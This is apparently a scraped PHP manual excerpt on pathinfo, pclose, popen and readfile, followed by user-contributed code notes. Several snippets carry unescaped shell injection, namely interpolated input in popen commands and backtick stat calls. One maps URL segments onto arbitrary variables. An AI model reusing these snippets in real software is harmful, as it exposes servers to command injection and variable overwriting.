http://httpd.apache.org/docs-2.0/mod/core.html#acceptpathinfo
junk at plaino dot com 19-Aug-2004 06:41
Convert a URL to the local file path and vice versa, convert a local file path to a URL.

// this sets the sytem / or \ :
strstr( PHP_OS, "WIN") ? $slash = "\\" : $slash = "/";

// This is the location of the php file that contains this
// function. Usually this request is made to files/folders
// down the directory structure, so the php file that
// contains these functions is a good "where am i"
// reference point:
$WIMPY_BASE['path']['physical'] = getcwd();
$WIMPY_BASE['path']['www'] = "http://".$_SERVER['HTTP_HOST'];

function url2filepath($theURL){
    global $WIMPY_BASE, $slash;
    $AtheFile = explode ("/", $theURL);
    $theFileName = array_pop($AtheFile);
    $AwimpyPathWWW = explode ("/", $WIMPY_BASE['path']['www']);
    $AtheFilePath = array_values (array_diff ($AtheFile, $AwimpyPathWWW));
    if($AtheFilePath){
        $theFilePath = $slash.implode($slash, $AtheFilePath).$slash.$theFileName;
    } else {
        $theFilePath = implode($slash, $AtheFilePath).$slash.$theFileName;
    }
    return ($WIMPY_BASE['path']['physical'].$theFilePath);
}

function filepath2url ($theFilepath){
    global $WIMPY_BASE, $slash;
    $AtheFile = explode ($slash, $theFilepath);
    $theFileName = array_pop($AtheFile);
    $AwimpyPathFILE = explode ($slash, $WIMPY_BASE['path']['physical']);
    $AtheFilePath = array_values (array_diff ($AtheFile, $AwimpyPathFILE));
    $thFileURL = implode("/", $AtheFilePath)."/".$theFileName;
    return ($WIMPY_BASE['path']['www']."$thFileURL");
}
albertof at deltasoft dot com dot ar 29-May-2002 01:10
This code is to work in index.php/var/var

if(isset($PATH_INFO)) {
      $viewcode = explode('/', $PATH_INFO);
        $num = count($viewcode);
        if($num % 2 == 0) {
            $viewcode[] = '';
            $num++;
        }
        for($i = 1; $i < $num; $i += 2) {

            $$viewcode[$i] = $viewcode[$i+1];

          }
    }
m-symons at home dot com 24-Aug-2001 07:01
And, of course, to account for the problem noted in the first post whereby calling a directory, not a file, messes with the output of pathinfo(), you can include the following test:

if($pathinfo[extension] == "") {

$deep++;

}

Ooops...sorry for missing that.
m-symons at home dot com 24-Aug-2001 06:54
Here's a neat wee function to grab the relative path to root (especially useful if you're using mock-directories to pass variables into scripts with mod_rewrite).  The function simply iterates through every occurence of "/" within the REQUEST_URI environment variable, appending "../" to the output for every instance:

<?php

function path_to_root($path) {

    $pathinfo = pathinfo($path);

    $deep = substr_count($pathinfo[dirname], "/");

    $path_to_root = "./";

    for($i = 1; $i <= $deep; $i++) {

        $path_to_root .= "../";

    }

    return $path_to_root;
}

path_to_root($REQUEST_URI);

?>
mikep at oeone dot com 22-Aug-2001 10:27
If you run this on a directory, basename is the last directory in the path, dirname is the path before the final directory and extension is empty.
parse_ini_string
pclose
Filesystem Functions


Closes process file pointer

pathinfo
popen
Filesystem Functions
PHP Manual

pclose

(PHP 4, PHP 5)

pclose — Closes process file pointer

Description

int pclose ( resource $handle )

Closes a file pointer to a pipe opened by popen().

Parameters

handle

The file pointer must be valid, and must have been returned by a successful call to popen().

Return Values

Returns the termination status of the process that was run. In case of an error then -1 is returned.

Examples

Example #1 pclose() example

<?php
$handle = popen('/bin/ls', 'r');
pclose($handle);
?>

Notes

Note: Unix Only:

proc_close() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used.

See Also

  • popen() - Opens process file pointer

User Contributed Notes

Mike 06-Apr-2008 11:55
The termination status, as pointed out in another note, is not the same as the exit status from the process. However, something like "pclose($fp)/256" is not the correct way to extract the exit status, since this uses system- and version-specific knowledge of where in the termination status the exit status is stored. (Also, the process may not even have exited normally, so it may not have an exit status at all.)

Instead, the functions pcntl_wifexited() and pcntl_wexitstatus() should be used. They are wrappers for the C macros WIFEXITED() and WEXITSTATUS() that are designed for determining whether the process had an exit status and what that status was, respectively.
chad 0x40 herballure 0x2e com 04-Sep-2007 01:16
Warning: If you're reading a command with infinite output, such as 'vmstat 2', pclose will cause the script to hang. This is because pclose waits for the command to exit, in order to return the exit status. If the process never exits, pclose never returns.
kcross at nssolutions dot com 16-Jul-2003 02:08
Somewhere between 4.1.1 and 4.2.3, the return value from pclose changed.

The exit status used to be in the second byte, so that the status would be (pclose($fp)/256).

It is now in the low-order byte, so the status is just pclose($fp).

Be careful.
vdweij at mailsurf dot com 12-Mar-2003 07:18
As I understand pclose will return 0 (on every platform) in case popen could not execute the specified command.

Since popen only returns the status wether it was able to send a command and not wether it was succesfully executed. Only the returned value of pclose can be used to check wether a command could be executed.
roel at bouwman dot net 07-Oct-1999 10:23
The return value of pclose() is not the exit status of the program, but a value as returned by waitpid() of wait4().

To obtain the exit status:

$ret=(pclose($f)>>8)&0xFF;
pathinfo
popen
Filesystem Functions


Opens process file pointer

pclose
readfile
Filesystem Functions
PHP Manual

popen

(PHP 4, PHP 5)

popen — Opens process file pointer

Description

resource popen ( string $command , string $mode )

Opens a pipe to a process executed by forking the command given by command.

Parameters

command

The command

mode

The mode

Return Values

Returns a file pointer identical to that returned by fopen(), except that it is unidirectional (may only be used for reading or writing) and must be closed with pclose(). This pointer may be used with fgets(), fgetss(), and fwrite(). When the mode is 'r', the returned file pointer equals to the STDOUT of the command, when the mode is 'w', the returned file pointer equals to the STDIN of the command.

If an error occurs, returns FALSE.

Examples

Example #1 popen() example

<?php
$handle = popen("/bin/ls", "r");
?>

If the command to be executed could not be found, a valid resource is returned. This may seem odd, but makes sense; it allows you to access any error message returned by the shell:

Example #2 popen() example

<?php
error_reporting(E_ALL);

/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

Notes

Note:

If you're looking for bi-directional support (two-way), use proc_open().

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • pclose() - Closes process file pointer
  • fopen() - Opens file or URL
  • proc_open() - Execute a command and open file pointers for input/output

User Contributed Notes

anonymous at anon dot com 08-Feb-2011 01:39
If, on windows, you need to start a batch file that needs administrator privileges, then you can make a shortcut to the batch file, click properties, check to on "run as administrator" on one of the property pages, and then double-click the shortcut once (to initialize that "run as administrator" business).

using popen("/path/to/shortcut.lnk") will then run your batch file with administrator privileges.

handy for when you want to use cli php to do some long running tasks and that php-cli needs to use sessions..
mrjake2 06-Sep-2010 04:08
If you are running in a chroot'ed environment on Debian "Squeeze", this command won't work; there is a problem with the kernel code that popen() eventually calls.

Note that pecl makes heavy use of this command, so if you are running in this environment you will need to install the pecl extension from source instead.
hacklor [AT] NOSPAM [DOT] com 19-Apr-2010 09:03
There is a simple way to start a process in the background but still find out what the process result is. I combined the information from some users below with some of my own coming up with the following:

<?php
$bat_filename = "C:\\my_bat_file.bat";
$bat_log_filename = "C:\\my_bat_file_bat.log";
$bat_file = fopen($bat_filename, "w");
if($bat_file) {
    fwrite($bat_file, "@echo off"."\n");
    fwrite($bat_file, "echo Starting proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "php c:\\my_php_process.php >> ".$bat_log_filename."\n");
    fwrite($bat_file, "echo End proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "EXIT"."\n");
    fclose($bat_file);
}

//
// Start the process in the background
//
$exe = "start /b ".$bat_filename;
if( pclose(popen($exe, 'r')) ) {
    return true;
}
return false;
?>

In my case the file names of the .bat and .log files weren't always the same, so I needed a dynamic way to create the .bat file. The output from the php command is saved to the log file with the >> command. All prints and errors are stored there. At a later time you can open the log file and see what happened.
php at keithtyler dot net 20-Jan-2010 06:26
Note that you *have* to do a read on the handle before you can feof(), even if the command outputs nothing! So..

<?php
$f=popen("sleep 2","r");
while (!feof($f)) {}
pclose($f);
print "done";
?>

will never finish.
lwalker at snet dot net 17-Sep-2009 11:56
To run a php script and not wait for it I use this on windows
$commandString = "start /b c:\\php\\php.EXE c:\\image\\cleanup.php --passaccount=$account --passcount=$count";
pclose(popen($commandString, 'r'));

Note to pass my script vars you need dashdash.
to read the var use --this is in cleanup.php

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (ereg('--[a-zA-Z0-9]*=.*',$arg)) {
            $str = split("=",$arg); $arg = '';
            $key = ereg_replace("--",'',$str[0]);
            for ( $i = 1; $i < count($str); $i++ ) {
                $arg .= $str[$i];
            }
                        $_ARG[$key] = $arg;
        } elseif(ereg('-[a-zA-Z0-9]',$arg)) {
            $arg = ereg_replace("-",'',$arg);
            $_ARG[$arg] = 'true';
        }

    }
return $_ARG;
}
sleep(5);
$var_array= arguments($argv);
extract($var_array, EXTR_PREFIX_SAME, "wddx");//$user comes from here
//echo "hello new $user";
$account=$passaccount;
$count=$passcount;
?>
webmaster at php-idee dot de 23-Jul-2009 06:36
If you try to execute a command under Windows the PHP script normally waits until the process has been terminated. Executing long-term processes pauses a PHP script even if you don't want to wait for the end of the process.

It wasn't easy to find this beautiful example how to start a process under Windows without waiting for its termination:

<?php
$commandString = 'start /b c:\\programToRun.exe -attachment "c:\\temp\file1.txt"';
pclose(popen($commandString, 'r'));
?>
Marbug at gmail dot com 03-Feb-2009 03:43
If you want to download files from a linux server with a filesize bigger than 2GB you can use the following:

<?php
function serveFile( $file , $as ){
    header( 'Expires: Mon, 1 Apr 1974 05:00:00 GMT' );
    header( 'Pragma: no-cache' );
    header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
    header( 'Content-Description: File Download' );
    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Length: '.trim(`stat -c%s "$file"`) );
    header( 'Content-Disposition: attachment; filename="'. $as .'"' );
    header( 'Content-Transfer-Encoding: binary' );
    //@readfile( $file );

    flush();
    $fp = popen("tail -c ".trim(`stat -c%s "$file"`)." ".$file.' 2>&1', "r");
    while(!feof($fp))
    {
        // send the current file part to the browser
        print fread($fp, 1024);
        // flush the content to the browser
        flush();
    }
    fclose($fp);
}
?>
rockytriton 10-Sep-2007 11:25
Note, when using this with a batch file in windows, you must put an "exit" at the end of your batch file or you will get a new cmd.exe stuck in your process list every time you execute the page.
betchern0t 13-Apr-2007 09:42
Care needs to be taken in the case of long running child processes. Say you want to run tail -f /var/log/messages or in my case burn dvds. If you have a busy wait, Apache2 can sit towards 100%cpu and steadily grow memory. In my case I crashed the server after about an hour and 90% of the dvd burned. During that time apache had consumed a gig of swap.

Offending code - don't copy:

<?php
        $ThisCommand = sprintf("%s %s",COMMAND,$ThisFile);
        $fp=popen($ThisCommand,"r");
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 4096);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
        }
        pclose($fp);
?>

to go from zero memory and 100% cpu  to negligible memory and negligible cpu add a sleep.

<?php
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 256);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
                // avoid a busy wait
                sleep(1);

        }
?>

I think the continued banging of the space to keep the browser awake triggered some issues in apache.
Nate 20-Oct-2006 04:21
Note that under Windows, if you are trying to write data to be available to your pipe's STDIN, you may need to execute php directly, rather than depending on file associations.

<?php
    // with $cmd set to 'foo.php', STDIN comes up blank.
    // with $cmd set to 'php foo.php', STDIN gets filled
    //     (assuming php.exe is in your path)
    $cmd = 'foo.php';

    if ( ($fh = popen($cmd, 'w')) === false )
        die("Open failed: ${php_errormsg}\n");

    fwrite($fh, "Line one\nLine two\n");

    pclose($fh);
?>
nospam at spamalot dot com 30-Aug-2006 06:19
popen() seems to have problems dealing with binary data (piping audio data to the standard input of an encoding application). I changed to proc_open() instead and now everything is working fine.
Christian 09-May-2006 11:33
Thanks a lot to tr4nc3 at msn dot com..
when using apache on Windows XP, on 'console mode' commands work fine, but as a system service, commands like 'popen' stop functioning, to resolve this:

Start>Run>services.msc
Right click "Apache...", select properties.
Click on the "LOG ON" tab
Check the box "Allow this service to interact with desktop"
Click OK
Restart Apache
don at digithink dot com 19-Dec-2005 04:28
<?php
// The above import function can be easily extended using
// /usr/local/bin/xls2csv (part of catdoc ) and popen
// to read excell files directly.
// In our particular application the first line was the file heading.
function importxls($file,$head=true,$throwfirst=true,$delim=",",$len=1000) {
   $return = false;
   $handle = popen("/usr/local/bin/xls2csv $file", "r");
// or die if not there.
   if ($throwfirst) {
       $throw = fgetcsv($handle, $len, $delim);
   }
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
               print "<li>". $heading ."=>" . $row[$heading]."</li>";
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
?>
rjl at xs4all dot nl 23-Nov-2005 01:16
Truncated output from ps command?

The solution lies in the way ps displays it's info
specifically the -w option which:
'uses 132 columns to display information,
instead of the default which is your window size.'....
somehow with fgets in php that results in 74 characters
regardless off the init length parameter

a bit of code:

<?php
echo '<table width="99%"><tr><td>cron</td></tr>' . "\n";
$fp=popen("/bin/ps -waux","r");
while (!feof($fp)) {
    $buffer = fgets($fp, 4096);
    $croninf .= '<tr><td>' . $buffer . '</td></tr>' . "\n";
}
pclose($fp);
echo $croninf;
echo '</table><br><br>' . "\n";
?>

Ciao,

Rene =<>=
erb at agricola-gymnasium dot de 06-Oct-2005 05:48
Writing and executing a bash script is as simple as that:

<?php
$f = popen ("/bin/bash","w");
fwrite($f, "export KRB5CCNAME=`tempfile`\n");
fwrite($f, "export KRBTKFILE=`tempfile`\n");
fwrite($f, "$KINIT --keytab=$GLOBALS["KADMIN_KEYFILE"] --use-keytab --afslog $GLOBALS["KADMIN_PRINC"]\n");
fwrite($f, "pts delete $uid\n");
fwrite($f, "fs rmmount $rwhome\n");
fwrite($f, "vos remove sanjo b user.$uid\n");
fwrite($f, "$KDESTROY\n");
pclose($f);
?>
Cride5 08-Sep-2005 05:39
Here is a nice little script for monitoring your http access log.

<?php

$handle = popen("tail -f /etc/httpd/logs/access.log 2>&1", 'r');
while(!feof($handle)) {
    $buffer = fgets($handle);
    echo "$buffer<br/>\n";
    ob_flush();
    flush();
}
pclose($handle);

?>

----
www.eviltree.co.uk
www.solidsites.co.uk
www.mongbong.com
atampone at NOSPAMFORME dot trdsupra dot com 20-Jun-2005 06:26
If you want to fork a process under windows, this is the function to use.  I created a batch file called runcmd.bat with the following line

start %1 %2 %3 %4

then I have the folowing function

<?php
define('RUNCMDPATH', 'c:\\htdocs\\nonwebspace\\runcmd.bat');

function runCmd($cmd) {
    $externalProcess=popen(RUNCMDPATH.' '.$cmd, 'r');
    pclose($externalProcess);
}
?>

with this, doing something like

<?php runCmd('php.exe printWorkOrder.php 3498'); ?>
will launch php.exe outside of apache and allow the script calling the runCmd() function to continue without waiting for the command line process to return.  The process will run under the same user account that Apache (or whatever webserver you're running) is running under, so make sure it has permissions to do whatever you need to do.  Also, make sure that the batch file has enough %n s in order to pass all the command line variables that you might need to pass.

Special thanks to kicken from the devshed forums for coming up with the idea.
PGP Dude 06-May-2005 12:30
I should say, my host uses a modified form of safe mode, so I don't know if that might have caused a problem with "popen" as opposed to "proc_open".  With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x".  [Because of this,] LinixDude010's srcipt did not work for me.  Seems wrong to read and write with popen, according to the manual.

The script produced pgp text, but there was something wrong with the text and I could not decode it.

This replacement script, using proc_open, which can read and write, DOES work:

<?php
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {
  $encrypted_text='';
  $key_id = EscapeShellArg($public_key_id);
  putenv("PGPPATH=$keyring_location");

  // encrypt the message
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr ?? instead of a file
  );
  $process = proc_open("pgpe -r $key_id -af", $descriptorspec, $pipes);
  if (is_resource($process)) {
    fwrite($pipes[0], $plain_text);
    fclose($pipes[0]);
    while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $encrypted_text .= $s;
    }
    fclose($pipes[1]);
    // optional:
    while($s= fgets($pipes[2], 1024)) {
      $encrypted_text.= "\n<p>Error: $s</p>\n";
    }
    fclose($pipes[2]);
  }
  return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
shaun at nospam dot phplabs dot com 27-Feb-2005 05:52
Note that there appears to be a limit to the amount of data that fread() will return from a handle opened with popen(). A call to fread() may not return as much as you ask for.

For example, suppose I have a file "myfile.txt" which is more than 10KB in size. The following code works as expected:

<?php
$fp = fopen('myfile.txt', 'r');
$data = fread($fp, 10240);
echo strlen($data);
?>

The output is '10240.' However, popen() behaves differently:

<?php
$fp = popen('/bin/cat myfile.txt', 'r');
$data = fread($fp, 10240);
echo strlen($data);
?>

On my system, this code prints out '8192' instead of the expected '10240.'
kalvinb602 at hotmail dot com 06-Jul-2004 03:42
If you're having trouble with the server (Apache) hanging when issuing system commands consider the following bug report:

http://bugs.php.net/bug.php?id=22526

basically, if you're using sessions issue a

session_write_close();

command before you execute your system command to keep the server from hanging.

This may also correct the problem when using other system command executing functions like exec.

Ben
Michel Machado 06-Mar-2004 05:53
Yet another workaround for not having bidirectional pipes in php.

<?php
$Cmd =
"bc 2>&1 << END\n" .
"100+221\n" .
"1+3*3\n" .
"quit\n" .
"END\n";

$fp = popen($Cmd, 'r');
$read = fread($fp, 1024);
echo $read;
pclose($fp);
?>
http://vmlinuz.nl/about/contact/ 11-Nov-2002 08:58
From the popen linux programmers manual:

"The  command  argument  is  a pointer to a null-terminated string containing a shell command line.  This  command  is passed  to  /bin/sh  using the -c flag."

Since php uses this popen function, you need to be sure /bin/sh exists. This file may not exist in chroot()ed environments.
ajv-php at erkle dot org 08-Aug-2002 11:02
I noticed that some of the examples above seem to advocate passing unencrypted data to gpg via the pipe shell escape, in the absence of a bi-directional popen (on some OSes).

The approach I've taken is similar to:

<?php
  $prefix = 'example';
  $command = '/usr/local/bin/gpg --encrypt --armor --no-tty --batch --no-secmem-warning --recipient "joe.soap@example.com"';
  $tmpfile = tempnam('/tmp', $prefix);
  $pipe = popen("$command 2>&1 >$tmpfile", 'w');
  if (!$pipe) {
    unlink($tmpfile);
  } else {
    fwrite($pipe, $plaintxt, strlen($plaintxt));
    pclose($pipe);
    $fd = fopen($tmpfile, "rb");
    $output = fread($fd, filesize($tmpfile));
    fclose($fd);
    unlink($tmpfile);
  }
  return $output;
?>

This means that unencrypted information is not passed via a (potentially readable) shell command, and only encrypted information gets stored on disc.
12-Jul-2002 02:33
Here is a workaround for not having bidirectional pipes in php.

If you have bidirectional pipe support, don't bother with this.

The trick here is to send the input on the command line to the target application.  In particular I wanted to use openssl without using temp files or named pipes.  This solution should also be thread/process safe.

This does work on Linux (RedHat 7).

<?php
function filterThroughCmd($input, $commandLine) {
  $pipe = popen("echo \"$input\"|$commandLine" , 'r');
  if (!$pipe) {
    print "pipe failed.";
    return "";
  }
  $output = '';
  while(!feof($pipe)) {
    $output .= fread($pipe, 1024);
  }
  pclose($pipe);
  return $output;
}

# example:
print filterThroughCmd("hello", "cat");
# Piping to cat has the effect of echoing your input.
?>
cyberlot at cyberlot dot net 30-Jun-2002 01:29
The below code works for both way processing ;) Have fun folks

<?php
    system("mkfifo pipeout");
   $pipe = popen("./nwserver -module Chapter1E > pipeout","w");
   $pipeout = fopen("pipeout", "r");
   while ($s = fgets($pipeout,1024)) {
    echo $s;
   }

?>
linuxdude010 at yahoo dot com 24-May-2002 11:49
I had all kinds of trouble encrypting a message with PGP, but I finanlly got it to work.  The trick was to 'chmod o+r pubring.pkr' so that the apache server could read the public keys!!!  Then, this function worked fine:

<?PHP
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {

        $key_id = EscapeShellArg($public_key_id);
        putenv("PGPPATH=$keyring_location");

        // encrypt the message
        $pipe = popen("pgpe -r $key_id -af", "r");
        fwrite($pipe, $plain_text);
        $encrypted_text = '';
        while($s = fgets($pipe, 1024)) {
                // read from the pipe
                $encrypted_text .= $s;
        }
        pclose($pipe);

        return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
nricciardi at mindspring dot com 08-Mar-2002 04:38
ive tried using popen using bidirectional pipes without working for obvious reasons, but i managed to create a simple script that managed to take care of the problem.  This example is for gpg encryption.

<?php
   $message = "this is the text to encrypt with gpg";
   $sendto = 'Dummy Key <another@fake.email>';

   system("mkfifo pipein");
   system("mkfifo pipeout");
   system("gpg --encrypt -a -r '$sendto' > pipeout < pipein &");
   $fo = fopen("pipeout", "r");
   $fi = fopen("pipein", "w");
   fwrite($fi, $message, strlen($message));
   fclose($fi);
   while (!feof($fo)) {
      $buf .= fread($fo, 1024);
   }
   echo $buf;
   unlink("pipein");
   unlink("pipeout");
?>

If anyone has a better way of doing this I would love to see it.
kevin at pricetrak dot com 29-Jun-2001 11:26
Just a quick note about your environment. None of the apache specific environment variables are available to the called program.
trevor at verite dot com 16-Feb-2001 12:42
Just make sure that you check the user information being passed into the command (if any) before it executes.
matthew at leftcoast dot com 04-Oct-2000 06:16
Note that your OS must support bi-direction pipes for popen to be bi-directional.

FreeBSD and BSDI are known to support bi-pipes.

Not sure about Linux.
pclose
readfile
Filesystem Functions


Outputs a file

popen
readlink
Filesystem Functions
PHP Manual

readfile

(PHP 4, PHP 5)

readfile — Outputs a file

Description

int readfile ( string $filename [, bool $use_include_path = false [, resource $context ]] )

Reads a file and writes it to the output buffer.

Parameters

filename

The filename being read.

use_include_path

You can use the optional second parameter and set it to TRUE, if you want to search for the file in the include_path, too.

context

A context stream resource.

Return Values

Returns the number of bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readfile(), an error message is printed.

Examples

Example #1 Forcing a download using readfile()

<?php
$file = 'monkey.gif';

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
    exit;
}
?>

The above example will output something similar to:

Open / Save dialogue

Notes

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

See Also

  • fpassthru() - Output all remaining data on a file pointer
  • file() - Reads entire file into an array
  • fopen() - Opens file or URL
  • include()
  • require()
  • virtual() - Perform an Apache sub-request
  • file_get_contents() - Reads entire file into a string
  • Supported Protocols and Wrappers

User Contributed Notes

ben at indietorrent dot org 29-Oct-2011 04:37
An update my previous comment: The 404 errors were occurring because the PHP code was tailored to delete the temporary file after sending it to the client. The deletion works as expected with readfile(), but the same code (the only addition being the x-sendfile header) causes the source file to be deleted mid-download with mod_xsendfile.

Lesson learned: Don't attempt to delete a temporary file after a client downloads it if using mod_xsendfile; the file will be deleted immediately after the headers are sent and the client's download will be interrupted with a 404 (because Apache is no longer able to access the file).
ben at indietorrent dot org 29-Oct-2011 01:54
It should be noted that using Apache's "mod_xsendfile" module as an alternative to PHP's native readfile() function does have its drawbacks.

With mod_xsendfile, script execution continues immediately after

<?php
header('X-Sendfile: ' . $file);
?>

As such, there is no means by which to delete the file when downloading is complete, determine how much time the download required (or whether or not the download succeeded), track memory usage related to the download, etc. When the aforementioned functionality is required, it seems that readfile() is the only option.

Further, and more importantly, failing to terminate script execution immediately after sending the headers (e.g., by returning TRUE within a function) seems to cause mod_xsendfile to fail silently and yield a 404 error.
daren -remove-me- schwenke 05-May-2011 08:52
If you are lucky enough to not be on shared hosting and have apache, look at installing mod_xsendfile.
This was the only way I found to both protect and transfer very large files with PHP (gigabytes).
It's also proved to be much faster for basically any file.
Available directives have changed since the other note on this and XSendFileAllowAbove was replaced with XSendFilePath to allow more control over access to files outside of webroot.

Download the source.

Install with: apxs -cia mod_xsendfile.c

Add the appropriate configuration directives to your .htaccess or httpd.conf files:
# Turn it on
XSendFile on
# Whitelist a target directory.
XSendFilePath /tmp/blah

Then to use it in your script:
<?php
$file = '/tmp/blah/foo.iso';
$download_name = basename($file);
if (file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.$download_name);
    header('X-Sendfile: '.$file);
    exit;
}
?>
cOrti 31-Mar-2011 03:59
Hello,

Here's a simple trick for browsers (FF, IE) address spaces in filenames for Content-Disposition:

eg: <?php header ("Content-Disposition:attachment; filename=\"$filename\""); ?>

The \ "before and after the file name makes the difference.
mncahill at Gmail dot com 28-Jan-2011 07:22
It should be noted that in the example:

    header('Content-Length: ' . filesize($file));

$file should really be the full path to the file.  Otherwise content length will not always be set, often resulting in the dreaded "0 byte file" problem.
chrisbloom7 at gmail dot com 15-Aug-2010 08:32
This seems to be one of those areas of programming where there is no hard and fast rule as to what works. I tried countless permutations of the tricks I found on this page and elsewhere on the web until I finally found something that works. This might be overkill, but it works so I'm leaving it as is. So far this was tested on Mac/Apache and Win32/Apache servers, using Firefox, Safari and Chrome clients. I've tested this with files up to 151MB and as small as a few Kb. As usual, YMMV.

<?php
$realpath = "/some/absolute/path.exe";
$mtime = ($mtime = filemtime($realpath)) ? $mtime : gmtime();
$size = intval(sprintf("%u", filesize($realpath)));
// Maybe the problem is we are running into PHPs own memory limit, so:
if (intval($size + 1) > return_bytes(ini_get('memory_limit')) && intval($size * 1.5) <= 1073741824) { //Not higher than 1GB
  ini_set('memory_limit', intval($size * 1.5));
}
// Maybe the problem is Apache is trying to compress the output, so:
@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);
// Maybe the client doesn't know what to do with the output so send a bunch of these headers:
header("Content-type: application/force-download");
header('Content-Type: application/octet-stream');
if (strstr($_SERVER["HTTP_USER_AGENT"], "MSIE") != false) {
  header("Content-Disposition: attachment; filename=" . urlencode(basename($F['FILE']['file_path'])) . '; modification-date="' . date('r', $mtime) . '";');
} else {
  header("Content-Disposition: attachment; filename=\"" . basename($F['FILE']['file_path']) . '"; modification-date="' . date('r', $mtime) . '";');
}
// Set the length so the browser can set the download timers
header("Content-Length: " . $size);
// If it's a large file we don't want the script to timeout, so:
set_time_limit(300);
// If it's a large file, readfile might not be able to do it in one go, so:
$chunksize = 1 * (1024 * 1024); // how many bytes per chunk
if ($size > $chunksize) {
  $handle = fopen($realpath, 'rb');
  $buffer = '';
  while (!feof($handle)) {
    $buffer = fread($handle, $chunksize);
    echo $buffer;
    ob_flush();
    flush();
  }
  fclose($handle);
} else {
  readfile($realpath);
}
// Exit successfully. We could just let the script exit
// normally at the bottom of the page, but then blank lines
// after the close of the script code would potentially cause
// problems after the file download.
exit;
?>

[EDIT BY danbrown AT php DOT net: An addendum to this note was submitted by the original author on 04-MAR-2011.  It follows.]

I started running into trouble when I had really large files being sent to clients with really slow download speeds. In those cases, the script would time out and the download would terminate with an incomplete file. I am dead-set against disabling script timeouts - any time that is the solution to a programming problem, you are doing something wrong - so I attempted to scale the timeout based on the size of the file. That ultimately failed though because it was impossible to predict the speed at which the end user would be downloading the file at, so it was really just a best guess so inevitably we still get reports of script timeouts.

Then I stumbled across a fantastic Apache module called mod_xsendfile (https://tn123.org/mod_xsendfile/ (binaries) or https://github.com/nmaier/mod_xsendfile (source)). This module basically monitors the output buffer for the presence of special headers, and when it finds them it triggers apache to send the file on its own, almost as if the user requested the file directly. PHP processing is halted at that point, so no timeout errors regardless of the size of the file or the download speed of the client. And the end client gets the full benefits of Apache sending the file, such as an accurate file size report and download status bar.

The code I finally ended up with is too long to post here, but in general is uses the mod_xsendfile module if it is present, and if not the script falls back to using the code I originally posted. You can find some example code at https://gist.github.com/854168
Mike 04-Aug-2010 07:46
Beware of using download managers.. I was trying to use readfile in IE8 and kept getting the message "failed to get data for 'type'". Eventually figured out the problem was that I had LeechGet installed and it was intercepting the download, which in turn prevented the download from taking place.
Sguiggz at yahoo dot com 28-Jun-2010 11:23
I was getting errors playing music files when downloading, using the Content-Length header as listed in the examples above. I plugged in the numeric size of the file in bytes, removing the filesize command and it worked. At a loss for other ideas, I had the filesize command populate a variable, then I added one to the variable when calling it for the filesize. It worked like a champ, but... My files are still cutting off, and I think it has something to do with my server. Back to the drawing board, I guess.

Here's the snippet for reference:

<?php
$filesize = filesize($dir_name);
header('Content-Length: '.$filesize+1);
?>

Hopefully this will help someone more than it helped me.

Cheers.
Zambz 22-May-2010 06:33
If you are using the procedures outlined in this article to force sending a file to a user, you may find that the "Content-Length" header is not being sent on some servers.

The reason this occurs is because some servers are setup by default to enable gzip compression, which sends an additional header for such operations.  This additional header is "Transfer-Encoding: chunked" which essentially overrides the "Content-Length" header and forces a chunked download.  Of course, this is not required if you are using the intelligent versions of readfile in this article.

A missing Content-Length header implies the following:

1) Your browser will not show a progress bar on downloads because it doesn't know their length
